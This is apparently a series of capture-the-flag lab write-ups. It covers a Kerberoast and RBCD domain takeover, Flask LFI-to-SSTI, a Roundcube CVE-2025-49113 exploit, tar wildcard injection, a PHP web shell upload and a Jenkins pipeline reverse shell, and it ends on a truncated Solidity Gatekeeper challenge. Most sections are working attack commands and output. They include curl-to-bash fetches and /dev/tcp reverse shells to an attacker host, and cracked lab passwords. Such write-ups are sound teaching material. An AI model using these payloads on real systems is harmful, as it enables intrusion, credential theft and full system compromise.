python3 targetedKerberoast.py -v -d 'recovery.local' -u 's.johansson' -p 'R0ckth!spass678'

[*] Starting kerberoast attacks
[VERBOSE] SPN added successfully for (w.dafoe)
[+] Printing hash for (w.dafoe)
$krb5tgs$23$*w.dafoe$RECOVERY.LOCAL$recovery.local/w.dafoe*$<SNIP>999851762ae5479c202a4e124c25f5c464b8d31a20c37dd051798ea60c111383556f765
[VERBOSE] SPN removed successfully for (w.dafoe)

The resulting TGS hash was saved and cracked offline using John the Ripper:

john hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
mdmdancer3!      (?)
1g 0:00:00:01 DONE

The password for w.dafoe was recovered:

w.dafoe : mdmdancer3!

Domain Compromise

RBCD to Domain Compromise

With valid credentials for w.dafoe, BloodHound showed that the account had GenericAll over the domain controller.

This level of control allowed Resource-Based Constrained Delegation (RBCD) to be configured against DC01$.

First, a new computer account was created to act as the delegation source:

impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host 172.16.18.19 -domain-netbios recovery.local 'recovery.local/w.dafoe:mdmdancer3!'
[*] Successfully added machine account ATTACKERSYSTEM$ with password Summer2018!.

The newly created computer account was then granted delegation rights over the domain controller:

impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC01$' -action 'write' 'recovery.local/w.dafoe:mdmdancer3!'
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on DC01$ via S4U2Proxy

With the delegation relationship in place, a service ticket for cifs/DC01.recovery.local was requested while impersonating Administrator:

impacket-getST -spn 'cifs/DC01.recovery.local' -impersonate 'Administrator' -dc-ip 172.16.18.19 'recovery.local/ATTACKERSYSTEM$:Summer2018!'
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC01.recovery.local@RECOVERY.LOCAL.ccache

The resulting Kerberos ticket was then used with wmiexec. The DC FQDN was first added to /etc/hosts, and the generated ccache file was exported through KRB5CCNAME:

echo '172.16.18.19 DC01.recovery.local DC01' >> /etc/hosts

export KRB5CCNAME=Administrator@cifs_DC01.recovery.local@RECOVERY.LOCAL.ccache

impacket-wmiexec Administrator@DC01.recovery.local -k -no-pass
[*] SMBv3.0 dialect used
C:\>whoami
recovery\administrator

The resulting session was authenticated as recovery\administrator, providing administrative control of the domain controller. The final flag was then retrieved from the Administrator desktop:

C:\Users\Administrator\Desktop>type root.flg
ed2<SNIP>4cd

Poet - Ronin66 Machine

Thu, 10 Sep 2026 00:00:00 GMT

Summary

Poet is a Linux machine running a Flask "Note Library" application on port 6767. Initial enumeration revealed a /download endpoint vulnerable to Local File Inclusion (LFI), which allowed arbitrary local files to be read.

The LFI was used to inspect /proc/self/cmdline and /proc/self/cwd/app.py, exposing the application's source code. The source revealed that the SECRET value was loaded from an environment variable and used to authenticate requests to the /admin panel. Reading /proc/self/environ through the LFI disclosed the secret and granted access to the administrator functionality.

The admin panel allowed notes to be created with Jinja2 templates. Since notes were rendered through render_template_string, a Server-Side Template Injection (SSTI) vulnerability was used to achieve remote code execution and obtain a shell as william.

For privilege escalation, a custom SUID binary, /usr/local/bin/poet-fetch, was identified. The binary fetched remote content and appended lines beginning with new poem: to an arbitrary output file. Although writes under /root were blocked, /etc/passwd was writable through the binary. By creating a UID 0 account with an empty password field, a root shell was obtained.

Recon

Initial Enumeration

A full TCP scan was performed to identify the exposed services:

➜  Poet nmap -sC -sV -p- 172.16.18.22 --min-rate 5000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-10 11:40 -0400
Nmap scan report for 172.16.18.22
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5f:d0:4c:cf:b1:d7:d9:b3:7a:23:7c:f0:b8:ef:d7:25 (ECDSA)
|_  256 0c:fc:7a:74:83:42:46:a9:dc:44:19:ce:4e:a4:a8:ed (ED25519)
6767/tcp open  http    Werkzeug httpd 3.1.4 (Python 3.12.3)
|_http-title: Note Library
|_http-server-header: Werkzeug/3.1.4 Python/3.12.3
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.23 seconds

Only SSH and the web application were exposed. Since the application was running on port 6767, web enumeration was prioritized.

Web Enumeration

We first accessed the web application:

Opening one of the available notes revealed a download option:

Intercepting the request showed that the application directly used the supplied note parameter when downloading the file:

POST /download HTTP/1.1
Host: 172.16.18.22:6767
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://172.16.18.22:6767
Connection: keep-alive
Referer: http://172.16.18.22:6767/view
Upgrade-Insecure-Requests: 1
Priority: u=0, i

note=poem_shakespeare.txt

The parameter was vulnerable to directory traversal, allowing arbitrary local files to be read:

note=../../../../../../../etc/passwd

We then used the same LFI to inspect /proc/self/cmdline and identify how the application was running:

note=../../../../../../../proc/self/cmdline

The application was running from app.py. We then used /proc/self/cwd to reference the application's current working directory and read the source code directly:

note=../../../../../../../../../../proc/self/cwd/app.py

Source Code Analysis

The source code confirmed that /download joined the user-controlled note value directly with NOTES_DIR, resulting in the LFI.

More importantly, the /admin route compared a cookie named auth against the SECRET environment variable:

@app.route("/download", methods=["POST"])
def download_note():
    note = request.form.get("note")
    if not note:
        return "<h1>Invalid request: no note specified</h1>", 400

    path = os.path.join(NOTES_DIR, note)
    if not os.path.isfile(path):
        return "<h1>File not found</h1>", 404

    try:
        return send_file(path, as_attachment=True)
    except Exception as e:
        return f"<h1>Error downloading file:</h1><pre>{e}</pre>", 500

@app.route("/admin", methods=["GET", "POST"])
def admin():
    cookie = request.cookies.get("auth")
    if cookie != SECRET:
        return "<h1>Access Denied</h1>", 403

The /view route also contained an interesting behavior. Although the requested filename was sanitized with secure_filename() and path traversal was blocked, the contents of the note were passed to render_template_string(). This meant note contents would be interpreted as Jinja2 templates.

The admin panel additionally allowed arbitrary note content to be written into the notes directory, creating a potential path to SSTI and code execution.

Shell as william

Recovering the Admin Secret

The application loaded SECRET from the environment:

SECRET = os.getenv("SECRET")
if not SECRET:
    raise Exception("SECRET environment variable not set!")

Since the application was already vulnerable to LFI, we attempted to read /proc/self/environ:

note=../../../../../../../../../../../proc/self/environ

The environment variables disclosed the secret:

SECRET=fds43vxnvqeqpplo88761321sdcdsa21

The /admin route expected the secret inside the auth cookie:

@app.route("/admin", methods=["GET", "POST"])
def admin():
    cookie = request.cookies.get("auth")
    if cookie != SECRET:
        return "<h1>Access Denied</h1>", 403

We therefore set the cookie to the recovered value and accessed the administrator panel:

GET /admin HTTP/1.1
Host: 172.16.18.22:6767
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: auth=fds43vxnvqeqpplo88761321sdcdsa21
Upgrade-Insecure-Requests: 1
Priority: u=0, i

The administrator panel allowed us to create notes and explicitly indicated that Jinja2 templates were supported. Since the application's /view route rendered note contents through render_template_string(), this created a direct SSTI attack surface.

SSTI to RCE

We created a note named evil.py containing a Jinja2 SSTI payload that executed a command on the server and retrieved a script from our attack host:

{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("curl 10.8.0.30/index.html | bash").read() }}

The new note then appeared on the application's home page:

http://172.16.18.22:6767/

Opening the malicious note triggered the Jinja2 template evaluation. The application fetched the hosted index.html and executed it, resulting in a reverse shell:

The shell landed as william. We retrieved the user flag:

william@Dante:/$ cd
william@Dante:~$ ls -la
total 24
drwxr-x--- 2 william william 4096 Sep 10 15:39 .
drwxr-xr-x 3 root    root    4096 Dec  4  2025 ..
lrwxrwxrwx 1 root    root       9 Dec  4  2025 .bash_history -> /dev/null
-rw-r--r-- 1 william william  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 william william 3797 Dec  4  2025 .bashrc
-rw-r--r-- 1 william william  807 Mar 31  2024 .profile
-rw------- 1 william william   32 Sep 10 15:39 user.flg
william@Dante:~$ cat user.flg
39a2f7b6a7248cedd3896f50bd4db83e

Shell as root

SUID Enumeration

With a shell as william, we searched for SUID binaries and identified a non-standard executable:

william@Dante:/$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/fusermount3
/usr/local/bin/poet-fetch

The custom SUID binary /usr/local/bin/poet-fetch became the main privilege escalation target.

Analyzing poet-fetch

There was no ltrace available on the target, so strace was used to inspect the binary and identify its behavior:

william@Dante:/$ strace /usr/local/bin/poet-fetch
execve("/usr/local/bin/poet-fetch", ["/usr/local/bin/poet-fetch"], 0x7ffc4c0a5000 /* 23 vars */) = 0
brk(NULL)                               = 0x5aff804e9000
fcntl(0, F_GETFD)                       = 0
fcntl(1, F_GETFD)                       = 0
fcntl(2, F_GETFD)                       = 0

<SNIP>
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcurl.so.4", O_RDONLY|O_CLOEXEC) = 3

<SNIP>

The trace showed that the custom binary was linked against libcurl. We then checked its help output to understand how it handled the downloaded content:

william@Dante:/$ /usr/local/bin/poet-fetch -h
Usage: /usr/local/bin/poet-fetch <url> <output_file>
Use --help for more information.
william@Dante:/$ /usr/local/bin/poet-fetch --help
Usage: /usr/local/bin/poet-fetch <url> <output_file>

Description:
  poet-fetch is a small utility that fetches remote notes from a URL
  and looks for lines starting with 'new poem:'. If found, it appends
  the poem content to the specified local file.

Example:
  /usr/local/bin/poet-fetch https://example.com/poem.txt /home/user/poems.txt

Note:
  Useful for syncing collaborative poetry entries from the web.

The binary accepted both a remote URL and an arbitrary output path. This indicated a potential arbitrary file write primitive.

Arbitrary File Write to Root

We first attempted to write an SSH key directly into /root/.ssh/authorized_keys:

william@Dante:/$ /usr/local/bin/poet-fetch http://10.8.0.30/id_rsa.pub /root/.ssh/authorized_keys
Error: Writing to /root or its subdirectories is forbidden.

The binary explicitly blocked writes under /root, so we looked for another sensitive file that was writable. /etc/passwd was not protected by the same restriction.

The utility only processed lines beginning with new poem:, so we created a file containing a new UID 0 account with an empty password field:

➜  Poet cat passwd.txt
new poem:
polar::0:0::/tmp:/bin/bash

The file was then hosted locally and fetched by the SUID binary:

william@Dante:/opt/poetapp$ /usr/local/bin/poet-fetch http://10.8.0.30/passwd.txt /etc/passwd
Poem appended to /etc/passwd

The new polar account had UID 0 and no password configured. We therefore switched to the account with su:

william@Dante:/opt/poetapp$ su polar
root@Dante:/opt/poetapp# id
uid=0(root) gid=0(root) groups=0(root)
root@Dante:/opt/poetapp# cd /root
root@Dante:/root# ls
auto-restore.sh  restore  root.flg
root@Dante:/root# cat root.flg
abf<SNIP>66a

Buoy - Ronin66 Machine

Wed, 09 Sep 2026 00:00:00 GMT

Summary

Ronin starts with an anonymously accessible FTP server exposing a Roundcube backup directory. The backup's config.inc.php leaks a cleartext database password that also works for the live Roundcube instance on port 80. The running version (Roundcube 1.6.10) is vulnerable to CVE-2025-49113, which gives command execution as www-data. From there, the current Roundcube config provides valid database credentials, and the session table stores an encrypted password for the user leo. Decrypting it with the des_key from the config recovers leo's SSH password. Privilege escalation abuses a root cron job that runs tar with a wildcard inside leo's mail directory, exploited through tar checkpoint actions to obtain a SUID root shell.

Recon

Initial Enumeration

We begin with a full TCP port scan with service and default script detection:

nmap -sC -sV -p- 172.16.18.10 --min-rate 5000

PORT    STATE SERVICE  VERSION
21/tcp  open  ftp      vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    4 115      116          4096 Oct 31  2025 old_rc
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
110/tcp open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=roundserver
143/tcp open  imap     Dovecot imapd (Ubuntu)
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
995/tcp open  ssl/pop3 Dovecot pop3d (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

The scan reveals several interesting services. FTP allows anonymous authentication and exposes an old_rc directory. The host is also running a full mail stack through Dovecot, while the TLS certificate reveals the hostname roundserver.

Port 80 is serving the default Apache page, so there is no immediately visible application at the web server's root. The exposed FTP directory is therefore the most promising lead and is worth investigating first.

FTP Enumeration

We connect to the FTP service using anonymous authentication:

ftp 172.16.18.10

Name (172.16.18.10:root): ftp
331 Please specify the password.
Password:
230 Login successful.
ftp> ls -la
drwxr-xr-x    4 115      116          4096 Oct 31  2025 old_rc
ftp> cd old_rc
ftp> ls
-rwxr-xr-x    1 115      116         12714 Oct 31  2025 INSTALL
-rwxr-xr-x    1 115      116         35147 Oct 31  2025 LICENSE
-rwxr-xr-x    1 115      116          3853 Oct 31  2025 README.md
-rwxr-xr-x    1 115      116          1049 Oct 31  2025 SECURITY.md
drwxr-xr-x    2 115      116          4096 Oct 31  2025 bin
drwxr-xr-x    2 115      116          4096 Oct 31  2025 config
-rwxr-xr-x    1 115      116         11200 Oct 31  2025 index.php

The contents of old_rc resemble a complete PHP application. The config directory and index.php are particularly interesting, as configuration files often contain database credentials or other sensitive information.

We download the exposed files for offline analysis:

wget -r --no-parent --level=0 --user="ftp" --password="ftp" ftp://172.16.18.10/

Examining the downloaded files confirms that old_rc contains a copy of the Roundcube application. This gives us a useful starting point for investigating the live web application.

Web Enumeration

Since the FTP backup identifies the application as Roundcube, we now need to determine where the live instance is hosted on the web server.

We enumerate directories on the HTTP service:

dirsearch -u http://172.16.18.10/ -x 403

<SNIP>

[11:44:29] Starting:
[11:46:12] 200 -    5KB - /roundcube/index.php

The scan confirms that the live Roundcube instance is accessible under /roundcube/.

With the application location identified, we can compare the live instance with the copy obtained through FTP. Examining the backed-up config/config.inc.php reveals a database connection string containing credentials in cleartext:

$config['db_dsnw'] = 'mysql://marina:3467marina@localhost/roundcube';

The credentials are:

marina : 3467marina

We test these credentials against the live Roundcube instance at /roundcube/.

The credentials are valid and allow us to authenticate to the Roundcube webmail interface.

There are no interesting emails in the mailbox, so we proceed by identifying the exact version of the running application.

Roundcube Webmail 1.6.10

The running version is Roundcube 1.6.10, which is affected by CVE-2025-49113. This vulnerability provides a path to remote code execution when an authenticated account is available.

Shell as www-data

Roundcube 1.6.10 is affected by CVE-2025-49113. A public PoC handles authentication and delivers a command:

https://github.com/fearsoff-org/CVE-2025-49113

Since we have already recovered valid marina credentials from the exposed FTP backup, we can use them with the exploit and provide a bash reverse-shell payload:

php CVE-2025-49113.php http://172.16.18.10/roundcube marina 3467marina "bash -c 'bash -i >& /dev/tcp/<VPN_IP>/4444 0>&1'"

The exploit successfully executes the supplied command, and the listener receives a reverse shell as www-data.

Shell as leo

With access as www-data, we can inspect the live Roundcube installation and its configuration.

The live config/config.inc.php contains the current database credentials and the encryption key used by Roundcube to protect stored IMAP passwords:

cat /var/www/html/roundcube/config/config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:roundcb3%21%23%23%23@localhost/roundcube';
$config['imap_host'] = 'localhost:143';
$config['smtp_host'] = 'localhost:587';
$config['des_key'] = 'lCP7fwi7Irf9uMT4nDl6G74D';
$config['plugins'] = [];

The database password is URL-encoded in the configuration. Decoding it gives:

roundcube : roundcb3!###

We use these credentials to access the local MariaDB instance:

mysql -u roundcube -p

The users table contains two accounts, leo and marina:

MariaDB [roundcube]> select * from users;
| user_id | username | mail_host | ...
|       1 | leo      | localhost | ...
|       2 | marina   | localhost | ...

At this point, the session table is worth investigating because Roundcube stores serialized session data in the database. Following the Roundcube notes on HackTricks:

https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/roundcube.html

We query the session table and find a session belonging to leo:

MariaDB [roundcube]> SELECT * FROM session;
| pqmqotlrk92c9ig5ibf1ie1r0f | 2025-10-31 16:43:02 | 192.168.1.6 | bGFuZ3VhZ2V8czo1OiJl<BASE64_BLOB_SNIP>Y29tcG9zZV9kYXR

The session data is Base64-encoded, so we decode the blob:

echo '<BASE64_BLOB>' | base64 -d

The decoded data contains the leo session information, including an encrypted password:

language|s:5:"en_US";...user_id|i:1;username|s:3:"leo";storage_host|s:9:"localhost";storage_port|i:143;storage_ssl|b:0;password|s:32:"+I3J+D4QPt7JZVfbcd/KIpQNr8k1b+SC";login_time|i:1761924881;timezone|s:11:"Europe/Rome";...

The password stored in the session is encrypted using the des_key value from the Roundcube configuration. We can therefore use the recovered key and encrypted value with a Roundcube decryption tool:

https://keydecryptor.com/decryption-tools/roundcube

The decrypted credentials are:

leo : cleopatra1956

We test the password against SSH:

ssh leo@172.16.18.10

<SNIP>

leo@roundserver:~$ id
uid=1000(leo) gid=1000(leo) groups=1000(leo)
leo@roundserver:~$ ls
mail  user.flg
leo@roundserver:~$ cat user.flg
a3d<SNIP>fd6

The credentials are reused for SSH access, giving us a shell as leo and access to the user flag.

Shell as root

Process Monitoring

While enumerating the filesystem as leo, we find a backup.tar.gz file owned by root in /tmp. Its timestamp changes over time, suggesting that it is being generated by a scheduled task:

leo@roundserver:/tmp$ ls -la
-rw-r--r--  1 root root   68751 Sep  9 17:01 backup.tar.gz

To identify what is creating the archive, we upload and run pspy64, which allows us to monitor processes without requiring root privileges:

https://github.com/DominicBreuker/pspy/releases/tag/v1.2.1

leo@roundserver:/tmp$ ./pspy64
2026/09/09 17:17:01 CMD: UID=0     PID=55061  | /bin/sh -c cd /home/leo/mail/ && tar -czf /tmp/backup.tar.gz *
2026/09/09 17:17:01 CMD: UID=0     PID=55063  | tar -czf /tmp/backup.tar.gz Drafts Sent Trash

The output shows a root process executing tar from /home/leo/mail/ with a wildcard:

tar -czf /tmp/backup.tar.gz *

Because leo owns the mail directory, we can create files with controlled names there. When the cron job executes, these filenames are expanded by the shell and passed to tar. This makes the command vulnerable to tar option injection.

Tar Wildcard Injection

GNU tar supports options such as --checkpoint and --checkpoint-action, which can be abused when filenames beginning with -- are passed to the command.

We create a script that will copy /bin/bash to /tmp/rootbash and enable the SUID bit:

leo@roundserver:~$ /home/leo/mail/
leo@roundserver:~/mail$ echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" > exploit.sh
leo@roundserver:~/mail$ ls
Drafts    exploit.sh  Sent  Trash
leo@roundserver:~/mail$ touch ./"--checkpoint=1"
leo@roundserver:~/mail$ touch ./"--checkpoint-action=exec=sh exploit.sh"

When the root cron job runs, the wildcard expands to the crafted filenames. tar interprets them as options and executes exploit.sh with root privileges.

The next execution creates the SUID-enabled copy of bash:

leo@roundserver:/tmp$ ls -la
-rw-r--r--  1 root root   68838 Sep  9 17:21 backup.tar.gz
<SNIP>
-rwsr-sr-x  1 root root  139652 Sep  9 17:21 rootbash
leo@roundserver:/tmp$ ./rootbash -i -p
rootbash-5.2# id
uid=1000(leo) gid=1000(leo) euid=0(root) egid=0(root) groups=0(root),1000(leo)

The resulting shell has an effective UID of 0, providing root-level access to the system. We can now read the root flag:

rootbash-5.2# cd /root
rootbash-5.2# ls
cleanup  root.flg
rootbash-5.2# cat root.flg
88b<SNIP>7bb

Bank - HTB Machine

Sun, 04 Jan 2026 00:00:00 GMT

Summary

Bank is a Linux machine that demonstrates DNS zone transfer vulnerabilities, PHP file upload exploitation, and SUID privilege escalation. The attack begins with discovering an open DNS server vulnerable to zone transfer, revealing the bank.htb domain. Through directory enumeration, we find a support portal with file upload functionality. By exploiting the application's handling of .htb files as PHP, we upload a web shell and gain initial access. Finally, we discover a SUID binary that provides immediate root access, allowing complete system compromise.

Recon

Initial Enumeration

We begin by scanning the target machine to identify open ports:

nmap -sC -sV -p- -v 10.129.29.200 --min-rate 5000

Key Findings:

Port 22: SSH (OpenSSH 6.6.1p1)
Port 53: DNS (ISC BIND 9.9.5-3ubuntu0.14)
Port 80: HTTP (Apache 2.4.7)

Critical Discovery: The DNS service (port 53) is open, which could be vulnerable to zone transfer attacks if misconfigured.

DNS Zone Transfer Attack

With port 53 open, we attempt a DNS zone transfer attack:

dig axfr @10.129.29.200 bank.htb

Zone Transfer Success: The attack reveals the bank.htb domain and associated DNS records, confirming the target's internal domain structure.

Web Directory Enumeration

We enumerate directories on the discovered domain:

dirsearch -u http://bank.htb/

Key Findings:

/support.php - Returns 302 redirect
/uploads/ - Directory accessible
/login.php - Login portal

Shell as www-data

Bypassing Redirect

The support.php page redirects to login.php, but we can bypass this using curl:

curl http://bank.htb/support.php

We save the page for offline analysis:

curl http://bank.htb/support.php -o output
firefox output

File Upload Discovery

Analyzing the saved page reveals a file upload form with an important comment:

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

Exploitation Opportunity: The application processes .htb files as PHP, allowing us to upload a web shell.

Uploading Web Shell

We create a PHP web shell in a .htb file:

<?php system($_GET['cmd']); ?>

We upload the shell using curl:

curl -X POST http://bank.htb/support.php \
  -F "title=Test" \
  -F "message=Test message" \
  -F "fileToUpload=@shell.htb" \
  -F "submitadd=Submit"

Gaining RCE

The uploaded file is accessible in the /uploads directory. We test command execution:

http://bank.htb/uploads/shell.htb?cmd=id

RCE Confirmed: We can execute commands via the web shell.

We use URL-encoded bash reverse shell to gain access:

# URL-encoded: bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'

User Flag

We locate the user flag in the home directory:

User Flag: a43f68fa05e293666e8f36adb67c9d27

Shell as root

SUID Enumeration

We search for SUID binaries for privilege escalation:

find / -perm -u=s -type f 2>/dev/null

Critical Discovery: /var/htb/bin/emergency - Custom SUID binary.

Privilege Escalation

Executing the SUID binary grants immediate root access and we retrieved the final flag:

/var/htb/bin/emergency

Root Flag: 8bad23ea8c235f10f33782deb72161e0

Build - Vulnlab Machine

Thu, 01 Jan 2026 00:00:00 GMT

Summary

Build is a Linux machine that demonstrates a comprehensive attack chain involving rsync enumeration, Jenkins credential decryption, Gitea webhook exploitation, Docker container access, internal network pivoting, and privilege escalation through DNS manipulation and rlogin authentication. The attack begins with discovering rsync allowing anonymous access to backup files, enabling extraction and decryption of Jenkins credentials. Using these credentials, we access the Gitea instance, exploit a webhook to execute code via Jenkins, and gain access to a Docker container. Through internal network enumeration and pivoting, we discover a PowerDNS Admin instance, crack credentials, modify DNS records, and ultimately exploit rlogin for complete system compromise.

Recon

Initial Enumeration

We begin by scanning the target machine to identify open ports:

nmap -sC -sV -p- -v 10.129.234.169 --min-rate 1000

Key Findings:

Port 22: SSH (OpenSSH 8.9p1)
Port 53: PowerDNS service
Ports 512-514: RSH services (rexecd, login, shell)
Port 873: Rsync service (protocol version 31)
Port 3000: Gitea web application

Critical Discovery: The rsync service (port 873) is open, which can allow anonymous access to file shares, potentially exposing sensitive backup files.

RSync Enumeration and Backup Access

We test if the rsync service allows anonymous listing:

rsync --list-only rsync://10.129.234.169

Result: The service shows a backups share that is accessible without authentication.

We download the entire backups directory to our local machine for analysis:

rsync -av rsync://10.129.234.169/backups backups

The transfer reveals a significant file: jenkins.tar.gz, indicating Jenkins configuration and potentially sensitive credentials.

After extracting the archive, we examine the structure:

tar xf jenkins.tar.gz

File Structure Analysis:

Jenkins configuration files
Job definitions and build history
Secret files including master.key and hudson.util.Secret

Jenkins Credential Decryption

Within the backup files, we discover encrypted credentials in /jobs/build/config.xml:

We use the Jenkins decryptor tool along with the extracted master key and secret files:

pipx install git+https://github.com/dadevel/jenkins-decryptor.git@main
jenkins-decryptor backups/jenkins_configuration/secrets/master.key backups/jenkins_configuration/secrets/hudson.util.Secret backups/jenkins_configuration/jobs/build/config.xml

Decryption Success: The tool successfully decrypts the credentials, revealing:

Username: buildadmin
Password: Git1234!

Shell in Container

Gitea Access and Webhook Discovery

Using the decrypted credentials, we log into the Gitea instance running on port 3000:

Credentials: buildadmin:Git1234!

Initial Access: Successful login provides access to repositories and configuration settings.

Within the Gitea project settings, we discover a configured webhook that triggers Jenkins builds.

Found a webhook at:

http://10.129.234.169:3000/buildadm/dev/settings/hooks

Exploitation Opportunity: Webhooks that execute Jenkins pipelines can be exploited by modifying the pipeline definition to execute arbitrary commands.

Remote Code Execution via Jenkins Pipeline

We modify the Jenkinsfile in the repository to include a reverse shell payload:

pipeline {
    agent any

    stages {
        stage('Do nothing') {
            steps {
                sh 'bash -c "/bin/bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"'
            }
        }
    }
}

After committing the modified Jenkinsfile to the repository, the webhook automatically triggers a Jenkins build, which executes our reverse shell payload.

Reverse Shell Success: Our netcat listener receives a connection, granting us shell access to the Jenkins build agent.

Container Analysis and Initial Foothold

Upon gaining shell access, we discover we're inside a Docker container rather than the main host.

Container Discovery: We find user.txt in /root, confirming containerized environment.

User Flag: 466098e1d44521703f270f93699c40f7

Shell as root

Container Escape and Internal Network Discovery

A critical discovery in the container's root directory is a .rhosts file:

cat .rhosts

Configuration Content:

intern.build.vl

Security Implication: This file allows passwordless root login from the specified hostname via rlogin/rsh services when DNS resolution points to an allowed IP address.

Proxy Tunneling for Tool Installation

The Docker container has minimal tools installed, lacking essential enumeration utilities.

We configure Burp Suite as a transparent proxy to intercept and modify HTTP requests from the container:

Container Proxy Configuration:

export http_proxy=http://<IP>:8080/

Using the proxy, we can now install necessary tools:

apt-get -o Acquire::ForceIPv4=true update
apt-get -o Acquire::ForceIPv4=true install net-tools -y
apt-get -o Acquire::ForceIPv4=true install nmap -y
apt-get -o Acquire::ForceIPv4=true install mariadb-client -y

Internal Service Enumeration

After running network enumeration with arp -a, we discovered internal hosts:

Scanning the Docker host (172.18.0.1) reveals an open MySQL port:

nmap -sC -sV -p- -v 172.18.0.1 --min-rate 5000

MySQL Access: The database allows root access without a password:

mysql -h 172.18.0.1 -u root -p

Within the database, we find PowerDNS Admin credentials:

And DNS information:

pdns.build.vl

We extract and crack the hash using John the Ripper:

john hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracked Credentials: admin:winston

PowerDNS Admin Access and DNS Manipulation

Further enumeration reveals a PowerDNS Admin instance running on 172.18.0.6:

nmap -sC -sV -p- -v 172.18.0.6 --min-rate 5000

Since the PowerDNS Admin service is only accessible internally, we set up a SOCKS5 tunnel:

Local Chisel Server:

chisel server --socks5 --reverse -p 7070

Container Chisel Client:

chisel client <IP>:7070 R:80:172.18.0.6:80

Through the tunnel, we access the PowerDNS Admin web interface and authenticate with the cracked credentials (admin:winston).

Administrative Access: Successful login provides full control over DNS zones and records.

DNS Record Manipulation for Privilege Escalation

Recall the .rhosts file content:

intern.build.vl

Privilege Escalation Path: To exploit the passwordless root login via rlogin, the hostname intern.build.vl must resolve to our IP address.

Using PowerDNS Admin privileges, we modify the DNS record for intern.build.vl to point to our IP address.

DNS Manipulation: By changing the A record for intern.build.vl to point to our IP address, we satisfy the .rhosts authentication requirement.

Root Access via Rlogin

With the DNS record pointing to our machine, we can now use rlogin to connect as root without a password:

rlogin 10.129.234.169

Root Access Achieved: The rlogin service authenticates us as root based on the .rhosts configuration and DNS resolution.

As root, we access the root flag:

Root Flag: b7b1e48179891ea87e77b1f83bada971

GateKeeper Two - The Ethernaut

Sat, 11 Oct 2025 00:00:00 GMT

Challenge Overview

Gatekeeper Two is a three-gate challenge that prevents direct entry by ordinary externally-owned accounts. The goal is to become the contract's entrant by calling enter(bytes8 _gateKey) while satisfying three intentional checks (the "gates"):

gateOne: The caller must be a contract — i.e., msg.sender != tx.origin.
gateTwo: The contract checks the code size of the caller in assembly (extcodesize(caller()) == 0). This means the call must be made while the caller's address has no deployed code (the classic way to satisfy this is to perform the call from inside the constructor of the attacking contract).
gateThree: A 64-bit bitwise constraint on the supplied _gateKey that depends on msg.sender (not tx.origin): uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max.

This writeup explains how to construct the correct _gateKey, why each gate exists, and how the constructor-call technique is used to satisfy gateTwo.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

Exploit Explanation

To bypass the first gate we simply have to create another contract and call it.

The second gate was harder, and we found this article talking about it: the Medium post explains how extcodesize can be bypassed by making the call during the attacking contract’s constructor. {{<externalLinkCard title="Bypass Solidity Contract Size Check — BrianKim (Coinmonks)" link="https://medium.com/coinmonks/bypass-solidity-contract-size-check-c6e93396b722" cover="images/dark-cloud.jpg">}}

